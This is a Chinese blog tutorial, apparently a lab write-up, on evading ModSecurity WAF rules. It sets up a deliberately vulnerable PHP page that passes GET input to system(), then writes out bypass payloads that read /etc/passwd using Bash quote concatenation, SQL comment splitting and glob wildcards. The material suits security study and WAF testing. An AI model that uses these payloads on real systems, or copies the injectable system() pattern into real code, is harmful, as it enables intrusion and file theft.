waf绕过

环境:modsecurity和nginx在前面的文章有安装教程

在/usr/local/apache/htdocs中创建一个test2.php文件

下面我会用PHP代码做些测试,像往常一样,目标WAF是ModSecurity。如下是我们的网页代码,当然,它显得太过简单,功能主要是利用curl和system()形成一个命令执行场景。虽然它看起来很不靠谱,但奇怪的是,你可以在多个实际应用场景发现这种愚蠢的代码。

打开后输入以下内容并保存退出

<?php

       if ( isset($_GET['zzz']) ) {

      system('curl -v '.$_GET['zzz']);

使用命令’'发起访问

接下来,我们使用命令curl -v 'localhost/test2.php?c=/bin/cat+/etc/passwd'测试是否会被waf拦截

 

可以看到我们的请求被waf拦截

在开启PL2规则的情况下,我们首先使用连接符进行绕过尝试

连接符:

在许多编程语言中,字符串连接通常靠一个二进制符号。例如,加号,"Hello, " + "World"得到值为"Hello, World"。在其他编程语言中,连接符可能是不同符号,特别是涉及到隐式的类型转换,并不会使用加号等符号。例如在Perl和PHP中连接符为.,在Lua等语言中,连接符为..:

但是你可别认为这是连接两个字符串的唯一方式。

当你在Bash使用C,C++,Python等编程语言时,你可以利用一种基于Bash的字符串连接特性,即:两个相邻的字符串即使中间没有任何符号,它们也可被当作连接在一起,"Hello," "World"等同于"Hello, World"。这个特性不仅适用于printf和echo等命令,还可适用于整体Bash语法。

 

下面的所有命令运行结果相同

# echo test

# echo 't'e's't

# echo 'te'st

# echo 'te'st''

# echo 'te'''st''

# python -c 'print "te" "st"'

从上我们可以清楚了解到Bash中的字符串连接特性。实际上,'te's't'是由三个字符串组成:字符串te、字符串s和字符串t。这种语法可可有效绕过基于“字符串匹配”的waf规则。

ModSecurity中的防御规则SecRule ARGS "@pm passwd shadow groups"…将拦截所有包含字符串passwd或字符串shadow的请求。但是,如果我们把它们转换成pa'ss'wdsh'ad'ow呢?就像我上面所提到的那样。而且,你不仅可以使用连接字符串来代替文件参数,还可以用来代替执行路径!

下面的所有命令运行结果也相同:

$ /bin/cat /etc/passwd

$ /bin/cat /e'tc'/pa'ss'wd

$ /bin/c'at' /e'tc'/pa'ss'wd

$ /b'i'n/c'a't /e't'c/p'a's's'w'd'

我们来使用连接符进行绕过尝试

输入以下命令:curl -v 'localhost/test2.php?c=;+cat+/e't'c/pa'ss'wd

 

绕过失败,请求被拦截

接下来我们尝试用注释进行绕过

输入以下命令curl -v 'http://localhost/test2.php?c=1+un/**/ion+sel/**/ect+1,2,3--’

我们发现,访问请求并没有被拦截,说明绕过成功,这是一个不错的方法,特别是当目标网站的WAF防御等级偏低时,星号和连字符能帮你成功绕过WAF。但这只能用于SQL注入,不能被用于本地文件包含和远程命令执行。

而如果我们使用通配符进行绕过呢,

关于通配符

Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件。有关标准通配符的更多信息,请通过键入man 7 glob命令查看手册了解。并不是每个人都知道有很多bash语法是可以使用问号“?”,正斜杠“/”,数字和字母来执行系统命令的。你甚至可以使用相同数量的字符获取文件内容。这里我为大家举几个例子:

例如as命令我们可以通过以下语法代替执行:

-/???/?s

用这种语法,可以帮助你做许多你想要做的事情。例如你的攻击目标位于Web应用放火墙后,并且在其规则内配置了一条,用于阻止所有在GET或POST请求参数内包含/etc/passwd或/bin/ls的规则,那么此时你尝试诸如/?cmd=cat+/etc/passwd这样的请求,就会被目标WAF拦截,并且你的IP也将被永远禁止。但是如果你够幸运,目标WAF也没那么”偏执“对?和/这类的字符进行阻止,那么你就可以将你的请求编码成这样:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

因此,我们使用通配符来进行尝试

我们输入命令curl -v 'localhost/test2.php?c=/bi?/??t+/???/??ss??'

 

我们可以发现,访问请求并没有被拦截

发生这种情况是因为“?”,“/”和“空格”在规则920271和920272的可接受的字符范围内。而且使用“?”而不是命令语法,可以避开拦截操作系统常用命令和文件(例如/etc/passwd)的“OS文件”过滤器。

tip:

我们还可以在外部开启bp抓包改包开启puuz模糊测试,因为我们的modsecurity没有封ip的规则,我们的nginx是编译安装外部访问不到网站,要么是在centos内部装一个bp。模糊测试可以探测出可用绕过字符。

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值